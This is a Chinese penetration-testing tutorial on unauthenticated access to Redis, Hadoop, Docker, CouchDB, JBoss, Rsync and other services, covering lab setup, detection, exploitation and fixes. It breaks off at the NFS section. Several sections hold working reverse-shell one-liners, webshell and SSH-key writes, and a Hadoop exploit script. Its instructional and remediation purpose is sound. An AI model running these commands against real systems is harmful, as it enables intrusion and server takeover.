前言
未授權訪問是系統對用戶限制不全,或者無限制,可以讓任意用戶或者限制訪問用戶,訪問到需要權限認證的地址。未授權訪問通常是會泄露用戶信息,系統信息。某些服務和系統中,未授權訪問還可以執行系統命令,操作系統文件,導致系統的整體安全遭到破壞。
本片文章首發於freebuf(https://www.freebuf.com/vuls/254160.html)
MongoDB未授權訪問漏洞
漏洞簡介
MongoDB是一個基於分布式文件存儲的數據庫,由C++語言編寫,旨在為WEB應用提供可擴展的高性能數據存儲解決方案。MongoDB默認端口為27017。
開啟MongoDB服務時不添加任何參數時,默認是沒有權限驗證的,登錄的用戶可以通過默認端口無需密碼對數據庫任意操作(增、刪、改、查高危動作)而且可以遠程訪問數據庫。
造成未授權訪問的根本原因就在於啟動 Mongodb 的時候未設置 --auth 也很少會有人會給數據庫添加上賬號密碼(默認空口令),使用默認空口令這將導致惡意攻擊者無需進行賬號認證就可以登陸到數據服務器。
更多MongoDB的介紹請移步:https://www.runoob.com/mongodb/mongodb-tutorial.html
漏洞復現
環境搭建
這里使用docker。Docker教程:https://www.runoob.com/docker/docker-tutorial.html
docker search mongodb # 從Docker Hub查找鏡像
docker pull mongo #從鏡像倉庫中拉取或者更新指定鏡像
docker images mongo #列出本地主機上的mongo鏡像
docker run -d -p 27017:27017 --name mongodb mongo # 創建一個新的容器並運行一個命令
docker ps # 顯示正在運行的容器
漏洞檢測
Python檢測腳本:
#! /usr/bin/env python # _*_ coding:utf-8 _*_
def mongodb(ip,port):
try:
client = MongoClient(ip,port)
db=client.local
flag = db.collection_names()
if flag:
print "[+] Mongodb login for anonymous"
except Exception, e:
pass
nmap檢測:
nmap -p 27017 --script mongodb-info <target>
漏洞利用
這里使用 NoSQLBooster
下載地址:https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe
修復方法
(1) 為 MongoDB 添加認證
① MongoDB 啟動時添加 -auth 參數。
② 給 MongoDB 添加用戶
use admin # 使用 admin 庫 db.addUser“用戶名” “密碼”# 添加用戶名、密碼 db.auth“用戶名”,“密碼”# 驗證是否添加成功返回 1 說明成功。
(2) 禁用 HTTP 和 REST 端口
MongoDB 自身帶有一個 HTTP 服務並支持 REST 接口。在 2.6 版本以后這些接口默認關閉。MongoDB 默認會使用默認端口監聽 Web 服務一般不需要通過 Web 方式進行遠程管理建議禁用。修改配置文件或在啟動時選擇 -nohttpinterface 參數 nohttpinterface = false。
(3) 限制綁定 IP
啟動時加入參數
--bind_ip 127.0.0.1
或在 /etc/mongodb.conf 文件中添加以下內容
bind_ip = 127.0.0.1
CouchDB未授權訪問漏洞
漏洞簡介
CouchDB是由Apache軟件基金會開發的一個開源數據庫。重點是易於使用,擁抱網絡。它是一個NoSQL文檔存儲數據庫。它使用JSON,存儲數據(文檔),使用java腳本作為其查詢語言來轉換文檔,使用http協議為api訪問文檔,使用Web瀏覽器查詢索引。
CouchDB默認在5984端口開放Restful的API接口,用於數據庫的管理功能。其HTTP Server默認開啟時沒有進行驗證,而且綁定在0.0.0.0,所有用戶均可通過API訪問導致未授權訪問。任何連接到服務器端口上的人,都可以調用相關API對服務器上的數據進行任意的增刪改查,其中通過API修改local.ini配置文件,可進一步導致執行任意系統命令,獲取服務器權限!
更多CouchDB的介紹請移步:https://www.w3cschool.cn/couchdb/
漏洞復現
環境搭建
這里使用vulhub中的項目來搭建復現環境
Vulhub漏洞環境搭建教程參考:
https://www.fujieace.com/penetration-test/vulhub.html
漏洞檢測
nmap -p 5984 --script couchdb-stats.nse <target>
漏洞利用
任意命令執行:
1、新增query_server配置,寫入要執行的命令;
curl -X PUT 'http://192.168.168.131:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
2、新建一個臨時庫和臨時表,插入一條記錄;
curl -X PUT 'http://192.168.168.131:5984/vultest' curl -X PUT 'http://192.168.168.131:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
3、調用query_server處理數據
curl -X POST 'http://192.168.168.131:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
修復方法
1、指定CouchDB綁定的IP (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把0.0.0 修改為 127.0.0.1 ,然后保存。
2、設置訪問密碼 (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密碼。
Memcached未授權訪問漏洞
漏洞簡介
Memcached是一個自由開源的,高性能,分布式內存對象緩存系統。Memcached是一種基於內存的key-value存儲,用來存儲小塊的任意數據(字符串、對象)。這些數據可以是數據庫調用、API調用或者是頁面渲染的結果。
Memcached簡潔而強大。它的簡潔設計便於快速開發,減輕開發難度,解決了大數據量緩存的很多問題。它的API兼容大部分流行的開發語言。一般的使用目的是,通過緩存數據庫查詢結果,減少數據庫訪問次數,以提高動態Web應用的速度、提高可擴展性。
由於 Memcached 的安全設計缺陷,客戶端連接 Memcached 服務器后無需認證就可讀取、修改服務器緩存內容。默認監聽端口11211
更多Memcached的介紹請移步:https://www.runoob.com/Memcached/Memcached-tutorial.html
漏洞復現
環境搭建
64位系統 1.4.4版本:http://static.runoob.com/download/memcached-win64-1.4.4-14.zip
解壓之后,用管理員權限打開命令行,執行:
memcached.exe -d install 安裝
memcached.exe -d start 啟動
查看進程服務以及端口
netstat -ano | findstr 11211
tasklist | findstr Memcached
漏洞檢測
Python檢測腳本:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ def Memcache_check(ip, port=11211, timeout=5): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("stats\r\n") result = s.recv(1024) if "STAT version" in result: print '[+] Memcache Unauthorized: ' +ip+':'+str(port) except Exception, e: pass
Nmap檢測:
nmap -p 11211 --script memcached-info <target>
漏洞利用
telnet <target_ip> 11211 或 nc -vv <target_ip> 11211
無需用戶名密碼,可以直接連接memcache 服務的11211端口
stats #查看memcache服務狀態
stats items //查看所有items
stats cachedump 32 0 //獲得緩存key
漏洞攻擊DEMO: http://blog.nsfocus.net/memcache-unauthorized-access-exploit/
修復方法
1、配置memcached監聽本地回環地址127.0.0.1。
[root@local ~]# vim /etc/sysconfig/memcached OPTIONS="-l 127.0.0.1" #設置本地為監聽 [root@local ~]# /etc/init.d/memcached restart #重啟服務
2、當memcached配置為監聽內網IP或公網IP時,使用主機防火牆(iptalbes、firewalld等)和網絡防火牆對memcached服務端口進行過濾。
Redis未授權訪問漏洞
漏洞簡介
Redis是一個開源的使用ANSI C語言編寫、遵守BSD協議、支持網絡、可基於內存亦可持久化的日志型、Key-Value數據庫,並提供多種語言的API。它通常被稱為數據結構服務器,因為值(value)可以是 字符串(String), 哈希(Hash), 列表(list), sets 和 sorted sets等類型。
Redis 的出現很大程度上彌補了 memcached 這類 Key/Value 存儲的不足在部分場合可以對關系數據庫起到很好的補充作用。Redis 默認情況下會綁定在 0.0.0.0:6379這樣會將 Redis 服務暴露到公網上。在沒有開啟認證的情況下會導致任意用戶在可以訪問目標服務器的情況下未經授權就訪問到 Redis 以及讀取 Redis 的數據。
等多Redis的介紹請移步:https://www.runoob.com/redis/redis-tutorial.html
漏洞復現
環境搭建
Linux源碼安裝
wget http://download.redis.io/releases/redis-6.0.8.tar.gz#下載
tar -zxvf redis-6.0.8.tar.gz #解壓
cd redis-6.0.8 # 進入redis目錄
make #編譯
執行完 make 命令后,redis-6.0.8 的 src 目錄下會出現編譯后的 redis 服務程序 redis-server,還有用於測試的客戶端程序 redis-cli
下面啟動 redis 服務:
# cd src # ./redis-server
注意這種方式啟動 redis 使用的是默認配置。也可以通過啟動參數告訴 redis 使用指定配置文件使用下面命令啟動。
# cd src # ./redis-server ../redis.conf
redis.conf 是一個默認的配置文件。我們可以根據需要使用自己的配置文件。
當然現在我們需要每次都進入安裝目錄才能啟動redis服務。現在再做如下配置:
cp redis-server /usr/bin/ cp redis-cli /usr/bin/ #將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啟動redis-server和redis-cli就不用每次都進入安裝目錄了) cd .. cp redis.conf /etc/ #將redis.conf拷貝到/etc/目錄下 redis-server /etc/redis.conf # 使用/etc/目錄下的redis.conf文件中的配置啟動redis服務
Ubuntu apt 命令安裝
在 Ubuntu 系統安裝 Redis 可以使用以下命令:
# sudo apt update
# sudo apt install redis-server
啟動 Redis
# redis-server
查看 redis 是否啟動?
# redis-cli
以上命令將打開以下終端:
redis 127.0.0.1:6379>
127.0.0.1 是本機 IP ,6379 是 redis 服務端口。現在我們輸入 PING 命令。
以上說明我們已經成功安裝了redis。
安裝完成redis之后,修改配置文件redis.conf:
bind 127.0.0.1前面加上#號注釋掉 protected-mode設為no
漏洞檢測
Nmap檢測:
nmap -p 6379 --script redis-info <target>
漏洞利用
Redis未授權訪問漏洞有多種利用方法,具體請看:https://www.freebuf.com/articles/network/158065.html
這里僅復現其中的一部分。
0x01 絕對路徑寫入webshell
通過redis在指定的web目錄下寫入一句話木馬,用菜刀連接可達到控制服務器的目的。
利用條件:
1、目標存在web目錄
2、已知web絕對路徑
3、存在寫入權限
適用范圍:windows,linux版本。
利用過程:
利用redis寫入一個webshell到目標web目錄下:
config set dir "/var/www/html" config set dbfilename phpinfo.php set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n" save
\r\n\r\n代表換行的意思,用redis入的文件會自帶一些版本信息,如果不換行可能會導致無法執行。
寫入成功
(將寫入內容換成php一句話即可getshell)
0x02 在crontab里寫定時任務,反彈shell
利用條件:
權限可寫計划任務
使用范圍:centos
只能在centos下反彈,這是由於redis向任務計划文件里寫內容出現亂碼而導致的語法錯誤,而亂碼是避免不了的,centos會忽略亂碼去執行格式正確的任務計划,而ubuntu並不會忽略這些亂碼,所以導致命令執行失敗
利用過程:
在權限足夠的情況下,利用redis寫入文件到計划任務目錄下執行。
首先監聽端口。
nc -lvvp 8769
利用redis生成計划任務配置文件。
config set dir /var/spool/cron set x "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/8769 0>&1\n\n" config set dbfilename root save
每一分鍾執行一次,只有目標主機是centos才可以成功接收到反彈的shell。
0x03 寫入ssh公鑰,獲取root權限
使用范圍:開啟了密鑰認證的linux主機
利用條件:
1、root權限
2、開啟了ssh密鑰登錄,存在/etc/.ssh文件
利用過程:
當redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄目標服務器。
1、首先在靶機上開啟ssh密鑰登錄。
修改/etc/ssh/sshd_config配置文件:
RSAAuthentication設置為yes,意思是設置開啟使用RSA算法的基於rhosts的安全驗證; PubkeyAuthentication設置為yes,意思是設置開啟公鑰驗證; AuthorizedKeyFiles后面的目錄,是你上傳的公鑰所保存的文件。
然后重啟服務
systemctl restart sshd.service
2、生成密鑰
在攻擊機中使用自帶的命令生成一對密鑰。
ssh-keygen -t rsa
3、將公鑰內容導入key.txt文件
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
4、將生成的公鑰內容設置給redis里的變量
cat /root/key.txt | redis-cli -h 192.168.168.133 -x set xxx
5、在 /root/.ssh 目錄下生成authorized_keys文件。
redis-cli -h 192.168.168.133
config set dir /root/.ssh
config set dbfilename authorized_keys
成功寫入authorized_keys文件。
6、使用本地的私鑰連接ssh
ssh 192.168.168.133
連接成功。
0x04 主從復制RCE
在Reids 4.x之后,Redis新增了模塊功能,通過外部拓展,可以實現在Redis中實現一個新的Redis命令,通過寫C語言編譯並加載惡意的.so文件,達到代碼執行的目的。
通過腳本實現一鍵自動化getshell:
1、生成惡意.so文件,下載RedisModules-ExecuteCommand使用make編譯即可生成。
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/ make
2、攻擊端執行: python redis-rce.py -r 目標ip-p 目標端口 -L 本地ip -f 惡意.so
git clone https://github.com/Ridter/redis-rce.git cd redis-rce/ cp .. /module.so ./ pip install -r requirements.txt python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so
-r參數是指目標redis IP地址
-L參數是指本機的ip地址
執行命令后,本機21000端口生成一個redis服務,然后目標redis指定本機為主服務器,同步執行so文件。
執行成功后可以選擇生成一個交互的shell,或者重新反彈一個shell。
修復方法
(1)對redis訪問啟動密碼認證。
(2)配置 bind 選項限定可以連接 Reids 服務器的 IP並修改默認端口 6379。
ElasticSearch未授權訪問漏洞
漏洞簡介
Elasticsearch是一個基於Lucene的搜索服務器。它提供了一個分布式多用戶能力的全文搜索引擎,基於RESTful web接口。Elasticsearch是用Java語言開發的,並作為Apache許可條款下的開放源碼發布,是一種流行的企業級搜索引擎。
Elasticsearch服務普遍存在一個未授權訪問的問題,攻擊者通常可以請求一個開放9200或9300端口的服務器進行惡意攻擊。
更多ElasticSearch的介紹請移步:https://www.bootwiki.com/elasticsearch/elasticsearch-tutorial.html
漏洞復現
環境搭建
下載安裝包:https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip
解壓,進入bin 目錄,雙擊執行 elasticsearch.bat
訪問http://localhost:9200/,出現以下頁面,說明安裝成功。
漏洞檢測
Python檢測腳本:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests def Elasticsearch_check(ip, port=9200, timeout=5): try: url = "http://"+ip+":"+str(port)+"/_cat" response = requests.get(url) except: pass if "/_cat/master" in response.content: print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)
漏洞利用
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search //查看數據庫敏感信息
http://localhost:9200/_nodes //查看節點數據
如有安裝head插件:
http://localhost:9200/_plugin/head/ //web管理界面
修復方法
1、限制IP訪問,綁定固定IP
2、在config/elasticsearch.yml中為9200端口設置認證:
http.basic.enabled true #開關,開啟會接管全部HTTP連接 http.basic.user "admin" #賬號 http.basic.password "admin_pw" #密碼 http.basic.ipwhitelist ["localhost", "127.0.0.1"]
Kibana未授權訪問漏洞
漏洞簡介
Kibana是一個開源的數據分析和可視化平台,旨在與Elasticsearch協同工作,幫助分析師通過圖形的方式來理解復雜的數據流動。
Kibana擁有一個基於瀏覽器的管理界面,可實時從Elasticsearch中獲取數據,然后執行高級數據分析,最后將結果以圖表,表格和地圖的形式呈現出來。
在默認設置下,Kibana會開放在端口5601上。
Kibana本身沒有任何安全性設置,在默認配置下,Kibana就可以訪問Elasticsearch中的所有數據。
漏洞復現
直接訪問kibana的頁面,如:
http://192.168.168.131:5601/app/kibana#/
並且無需賬號密碼可以登錄進入界面。
修復方法
1、設置防火牆策略,僅允許指定的 IP 來訪問服務。
2、通過nginx設置反向代理,設置密碼登錄驗證。
Step1、設置kibana監聽本地地址,並設置ElasticSearch登錄的賬號和密碼:
elasticsearch.url: "http://127.0.0.1:9200" #這里輸入ElasticSearch的賬號和密碼 elasticsearch.username: "user" elasticsearch.password: "pass"
Step2:使用htpasswd創建kibana登錄的賬號密碼,這里可以復用ElasticSearch創建的賬號密碼,也可以重新創建一個。
htpasswd -c /usr/local/service/nginx/conf/htpasswd username
Step3:配置nginx反向代理,配置好后,重啟nginx和kibana,通過15601登錄驗證訪問Kibana
server { # 通過反向代理對kibana身份認證 listen 15601; server_name localhost; location / { auth_basic "xscan"; auth_basic_user_file /usr/local/service/nginx/conf/htpasswd; proxy_pass http://127.0.0.1:5601; } }
JBoss未授權訪問漏洞
漏洞簡介
jBoss是一個基於J2EE的開發源代碼的應用服務器。 JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器,支持EJB1.1、EJB 2.0和EJB3的規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。
默認端口:8080,9990
默認情況下訪問 http://ip:8080/jmx-console 就可以瀏覽 jboss 的部署管理的信息,不需要輸入用戶名和密碼,可以直接部署上傳木馬有安全隱患。
漏洞復現
環境搭建
這里使用vulhub中CVE-2017-7504的漏洞環境。
Vulhub的漏洞環境搭建教程參考:https://www.fujieace.com/penetration-test/vulhub.html
漏洞檢測
先用 nmap 掃描查看端口開放情況看是否開放 JBOSS 端口。再使用漏洞測試工具測試 jmx 組件存在情況通過訪問 http://ip:jboss端口/ 看是否能進入 jmx-console 和 web-console 。
檢測工具:jexboss(https://github.com/joaomatosf/jexboss)一個使用Python編寫的Jboss漏洞檢測利用工具,通過它可以檢測並利用web-console,jmx-console,JMXInvokerServlet這三個漏洞,並且可以獲得一個shell。
漏洞利用
點擊進入控制頁
點擊jboss.deployment進入應用部署頁面
將jsp馬打包成war包 jar -cvf shell.war api_all_jdk.jsp
將war包放到web服務器上
通過addurl參數進行木馬的遠程部署
http://192.168.168.128/shell.war
成功上傳木馬
訪問http://IP:8080/war包名/包名內文件名即可成功連接。
修復方法
- 對jmx控制頁面訪問添加訪問驗證
- 刪除JMX Console,后重啟JBoss
VNC未授權訪問漏洞
漏洞簡介
VNC 是虛擬網絡控制台Virtual Network Console的英文縮寫。它是一款優秀的遠程控制工具軟件由美國電話電報公司AT&T的歐洲研究實驗室開發。VNC是基於 UNXI 和 Linux 的免費開源軟件由 VNC Server 和 VNC Viewer 兩部分組成。VNC 默認端口號為 5900、5901。VNC 未授權訪問漏洞如被利用可能造成惡意用戶直接控制受控主機危害相當嚴重。
漏洞復現
環境搭建
下載https://archive.realvnc.com/download/
漏洞檢測
Metasploit的use auxiliary/scanner/vnc/vnc_none_auth模塊
漏洞利用
Kali運行 vncviewer <target_ip>
修復方法
(1) 配置 VNC 客戶端登錄口令認證並配置符合密碼強度要求的密碼。
(2) 以最小權限的普通用戶身份運行操作系統。
Rsync 未授權訪問漏洞
漏洞簡介
Rsync(remote synchronize)是一個遠程數據同步工具,可通過 LAN/WAN 快速同步多台主機間的文件,也可以同步本地硬盤中的不同目錄。Rsync 默認允許匿名訪問,如果在配置文件中沒有相關的用戶認證以及文件授權,就會觸發隱患。Rsync 的默認端口為 837。
更多Rsync的介紹請移步:https://www.linuxprobe.com/use-rsync-file.html
漏洞復現
環境搭建
這里使用vulhub中的項目來搭建復現環境
Vulhub漏洞環境搭建教程參考:
https://www.fujieace.com/penetration-test/vulhub.html
漏洞檢測
nmap檢測:
nmap -p 873 --script rsync-list-modules <target>
Metasploit的auxiliary/scanner/rsync/modules_list模塊
漏洞利用
列出目標服務器的同步目錄
rsync 192.168.168.131:: rsync rsync://192.168.168.131:873
查看模塊文件
獲取到目錄之后,只需在路徑后添加目錄名即可查看目錄中的文件
rsync rsync://192.168.168.131:873/src
可以看到成功列出src目錄
任意文件下載
rsync rsync://192.168.168.131/src/etc/passwd ./pass.txt
任意文件上傳
rsync 1.txt rsync://192.168.168.131/src/home/
通過任意文件上傳,可以直接寫WebShell(如果目標有Web服務的話),或者可以通過寫ssh公鑰實現獲取權限,或者通過寫cron定時任務反彈shell。
通過寫cron任務反彈shell
1、下載cron定時任務配置文件並且查看任務內容
//17 * * * * root cd / && run-parts --report /etc/cron.hourly
//表示17分鍾會啟動/etc/cron.hourly目錄下文件的任務
2、構造shell
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.168.133/8796 0>&1
賦予執行權限
chmod +x shell
3、把shell上傳至/etc/cron.hourly目錄下
寫入cron.hourly下文件的任務就會啟動
rsync -av shell rsync://127.0.0.1/src/etc/cron.hourly
4、本地監聽8796端口,等待計划任務執行后反彈shell成功
nc -lvvp 8796
修復方法
更改rysnc默認配置文件/etc/rsyncd.conf,添加或修改參數:
訪問控制;設置host allow,限制允許訪問主機的IP。
權限控制;設置read only,將模塊設置成只讀。
訪問認證;設置auth、secrets,認證成功才能調用服務。
模塊隱藏;設置list,將模塊隱藏。
Hadoop未授權訪問漏洞
漏洞簡介
Hadoop是一個由Apache基金會所開發的分布式系統基礎架構,由於服務器直接在開放了 Hadoop 機器 HDFS 的 50070 web 端口及部分默認服務端口,黑客可以通過命令行操作多個目錄下的數據,如進行刪除,下載,目錄瀏覽甚至命令執行等操作。
更多Hadoop的介紹請移步:http://hadoop.apache.org/docs/r3.1.2/
漏洞復現
環境搭建
這里使用vulhub中的項目來搭建復現環境
Vulhub漏洞環境搭建教程參考:
https://www.fujieace.com/penetration-test/vulhub.html
漏洞檢測
直接訪問http://192.168.168.131:8088/cluster
漏洞利用
利用過程如下:
1、在本地監聽等待反彈 shell 連接
2、調用 New Application API 創建 Application
3、調用 Submit Application API 提交
POC: exploit.py
#!/usr/bin/env python import requests target = 'http://127.0.0.1:8088/' lhost = '192.168.220.137' # put your local host ip here, and listen at port 9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)
(1)修改py中target、lhost的IP
(2)開啟監聽nc -lvvp 9999
(3)python exploit.py
修復方法
(1)如無必要,關閉Hadoop Web管理頁面
(2)開啟身份驗證 ,防止未經授權用戶訪問。
(3)設置“安全組”訪問控制策略,將 Hadoop 默認開放的多個端口對公網全部禁止或限制可信任的 IP 地址才能訪包括 50070 以及 WebUI 等相關端口。
Zookeeper未授權訪問漏洞
漏洞簡介
Zookeeper是分布式協同管理工具,常用來管理系統配置信息,提供分布式協同服務,是 Hadoop 和 Hbase 的重要組件。它是一個為分布式應用提供一致性服務的軟件,提供的功能包括配置維護、域名服務、分布式同步、組服務等。
ZooKeeper 默認開啟在2181端口,在未進行任何訪問控制的情況下,攻擊者可通過執行 envi 命令獲得系統大量的敏感信息,包括系統名稱、Java 環境,這將導致任意用戶在網絡可達的情況下進行未授權訪問並讀取數據甚至 kill 服務。
漏洞復現
環境搭建
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.5.8/apache-zookeeper-3.5.8.tar.gz tar -zxvf apache-zookeeper-3.5.8.tar.gz cd apache-zookeeper-3.5.8/conf/ mv zoo_sample.cfg zoo.cfg ../bin/zkServer.sh start # 啟動
漏洞檢測
(1) 通過 nmap 掃描開放了 2181 端口的主機。
(2) 運行腳本通過 socket 連接 2181 端口並發送 envi 命令若服務端返回的數據中包含 ZooKeeper 的服務運行環境信息即可證明存在未授權訪問。
Python檢測腳本:
# coding=utf-8 import socket import sys def check(ip, port, timeout, cmd): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send(cmd) data = s.recv(1024) s.close() print data except: pass def main(): if len(sys.argv) < 3: exit() ip = sys.argv[1] cmd = sys.argv[2] # envi # dump # reqs # ruok # stat check(ip, 2181, 3, cmd) if __name__ == '__main__': main()
漏洞利用
1、stat:列出關於性能和連接的客戶端的統計信息。
echo stat |ncat 127.0.0.1 2181
2、conf:輸出相關服務配置的詳細信息,端口、數據路徑、日志路徑、session 超時時間,最大連接數等。
echo conf |ncat 127.0.0.1 2181
3、cons:列出所有連接到當前服務器的客戶端/會話的詳細信息。
echo cons |ncat 127.0.0.1 2181
4、envi:打印有關服務環境的詳細信息。
echo envi |ncat 127.0.0.1 2181
5、dump:列出未完成的會話和臨時節點。
echo dump |ncat 127.0.0.1 2181
修復方法
1、修改 ZooKeeper 默認端口,采用其他端口服務。
2、添加訪問控制,配置服務來源地址限制策略。
3、增加 ZooKeeper 的認證配置。
Docker未授權訪問漏洞
漏洞簡介
Docker 是一個開源的應用容器引擎,基於 Go 語言 並遵從 Apache2.0 協議開源。Docker 可以讓開發者打包他們的應用以及依賴包到一個輕量級、可移植的容器中,然后發布到任何流行的 Linux 機器上,也可以實現虛擬化。容器是完全使用沙箱機制,相互之間不會有任何接口(類似 iPhone 的 app),更重要的是容器性能開銷極低。
存在問題的版本分別為 1.3 和 1.6因為權限控制等問題導致可以脫離容器拿到宿主機權限。
更多docker的介紹請移步:https://www.runoob.com/docker/docker-tutorial.html
漏洞復現
環境搭建
這里使用vulhub中的項目來搭建復現環境
Vulhub漏洞環境搭建教程參考:
https://www.fujieace.com/penetration-test/vulhub.html
漏洞檢測
先用 nmap 掃描查看端口開放情況。2375 為 docker 端口
通過命令連接:
docker -H tcp://192.168.168.131:2375 version
或者url訪問:http://192.168.168.131:2375/version
可以看到docker版本等基本信息,說明漏洞存在。
漏洞利用
列出所有鏡像
docker -H tcp://192.168.168.131:2375 images
列出所有容器
docker -H tcp://192.168.168.131:2375 ps -a
1、寫入ssh公鑰
運行一個新容器,並且將該宿主機的根目錄掛在到容器的/mnt目錄下
docker -H tcp://192.168.168.131:2375 run -it -v /:/mnt nginx:latest /bin/bash
啟動之后就會獲得該容器宿主機的shell:
之后將攻擊者的ssh公鑰~/.ssh/id_rsa.pub的內容寫到入宿主機的/root/.ssh/authorized_keys文件中
之后就可以用root賬戶直接登錄了
ssh root@x.x.x.x 登錄
2、在crontab里寫定時任務,反彈shell
1、運行一個新容器,並且將該宿主機的根目錄掛在到容器的/mnt目錄下:
docker -H tcp://192.168.168.131:2375 run -it -v /:/mnt nginx:latest /bin/bash
啟動之后就會獲得該容器宿主機的shell:
2、在容器內執行命令,將反彈shell的腳本寫入到/var/spool/cron/crontabs/root (ubuntu系統)或/var/spool/cron/root(centos系統):
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.168.133/8988 0>&1' >> /mnt/var/spool/cron/crontabs/root
(寫入/etc/crontabs/root文件也可以)
3、本地監聽端口,獲取shell:
修復方法
1、設置ACL,只允許信任ip連接對應端口
2、開啟TLS,使用生成的證書進行認證
Jenkins未授權訪問漏洞
漏洞簡介
Jenkins是一個開源軟件項目,是基於Java開發的一種持續集成工具,用於監控持續重復的工作,旨在提供一個開放易用的軟件平台,使軟件的持續集成變成可能。Jenkins默認監聽端口為8080。
漏洞原因:未設置密碼,導致未授權訪問。
更多Jenkins的介紹請移步:https://www.w3cschool.cn/jenkins/
漏洞復現
環境搭建
wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下載
dpkg -i jenkins_1.621_all.deb # 安裝
service Jenkins start #開啟服務
漏洞檢測
直接通過url訪問
http://<target>:8080/manage
http://<target>:8080/script
沒有任何限制
漏洞利用
1、點擊script console
2、執行系統命令,下圖看到成功執行系統命令
3、利用Script Console上傳webshell,內容如下:
new File("/var/www/html/phpinfo.php").write('<?php phpinfo();?>');
修復方法
1、對后台控制頁面做登錄驗證限制
2、升級版本
Jupyter Notebook未授權訪問漏洞
漏洞簡介
Jupyter Notebook(此前被稱為 IPython notebook)是一個交互式筆記本,支持運行 40 多種編程語言。默認監聽在8888端口。
如果管理員未為Jupyter Notebook配置密碼,將導致未授權訪問漏洞,游客可在其中創建一個console並執行任意Python代碼和命令。
更多Jupyter Notebook的介紹請移步:
https://jupyter-notebook.readthedocs.io/en/stable/notebook.html
漏洞復現
環境搭建
這里使用vulhub中的項目來搭建復現環境
Vulhub漏洞環境搭建教程參考:
https://www.fujieace.com/penetration-test/vulhub.html
漏洞檢測
Nmap掃描開放了8888端口
訪問http://IP:8888
可直接打開Terminal
漏洞利用
New > Terminal 可以執行任意命令
修復方法
1)配置Jupyter Notebook密碼
2)設置訪問規則
ActiveMQ未授權訪問漏洞
漏洞簡介
ActiveMQ是Apache下的開源項目,是一種在分布式系統中應用程序借以傳遞消息的媒介,ActiveMQ默認監聽在8161端口。
默認情況下,ActiveMQ服務是沒有配置安全參數。攻擊者可以利用默認配置弱點發動遠程命令執行攻擊,獲取服務器權限,從而導致數據泄露。ActiveMQ默認賬號密碼為admin/admin
漏洞復現
環境搭建
這里使用vulhub中的項目(CVE-2015-5254)來搭建復現環境
Vulhub漏洞環境搭建教程參考:
https://www.fujieace.com/penetration-test/vulhub.html
漏洞檢測
nmap掃描,開放了8161端口
訪問url: http://192.168.168.131:8161
登錄,默認用戶名密碼是 admin/admin
漏洞利用
若服務器存在fileserver目錄,則可以通過put請求寫入文件,但fileserver下的文件默認不解析
然后使用MOVE請求移動文件,如果是寫入webshell需要做的物理路徑,在http://192.168.168.131:8161/admin/test/systemProperties.jsp可以查看物理路徑
如果是root權限,還可以直接寫入cron或ssh key等文件,反彈shell。
修復方法
1)針對未授權訪問,可修改conf/jetty.xml文件,bean id為securityConstraint下的authenticate修改值為true,重啟服務即可
2)針對弱口令,可修改conf/jetty.xml文件,bean id 為securityLoginService下的conf值獲取用戶properties,修改用戶名密碼,重啟服務即可
LDAP未授權訪問漏洞
漏洞簡介
LDAP中文全稱為:輕型目錄訪問協議(Lightweight Directory Access Protocol),默認使用389端口, LDAP 底層一般使用 TCP 或 UDP 作為傳輸協議。目錄服務是一個特殊的數據庫,是一種以樹狀結構的目錄數據庫為基礎。
未對LDAP的訪問進行密碼驗證,導致未授權訪問。
漏洞復現
漏洞檢測
Python檢測腳本
#! /usr/bin/env python # _*_ coding:utf-8 _*_ from ldap3 import Connection,Server,ALL def ldap_anonymous(ip): try: server = Server(ip,get_info=ALL,connect_timeout=1) conn = Connection(server, auto_bind=True) print "[+] ldap login for anonymous" conn.closed except: #pass print '[-] checking for ldap anonymous fail'
漏洞利用
可以使用ldapbrowser直接連接,獲取目錄內容。
點擊File->New Profile,把要連接的ldap server的IP、端口、base DN、用戶名、密碼統統填好,然后就能連上了,一般是能看到整個ldap樹的情況。
修復方法
1)修改ldap的acl,不允許匿名訪問。
2)根據業務設置ldap訪問白名單或黑名單。
NSF未授權訪問漏洞
漏洞簡介
NFS(Network File System)即網絡文件系統,它允許網絡中的計算機之間通過TCP/IP網絡共享資源。在NFS的應用中,本地NFS的客戶端應用可以透明地讀寫位於遠端NFS服務器上的文件,就像訪問本地文件一樣。若運維人員未對文件訪問進行控制,將導致本地文件可被任意讀取。
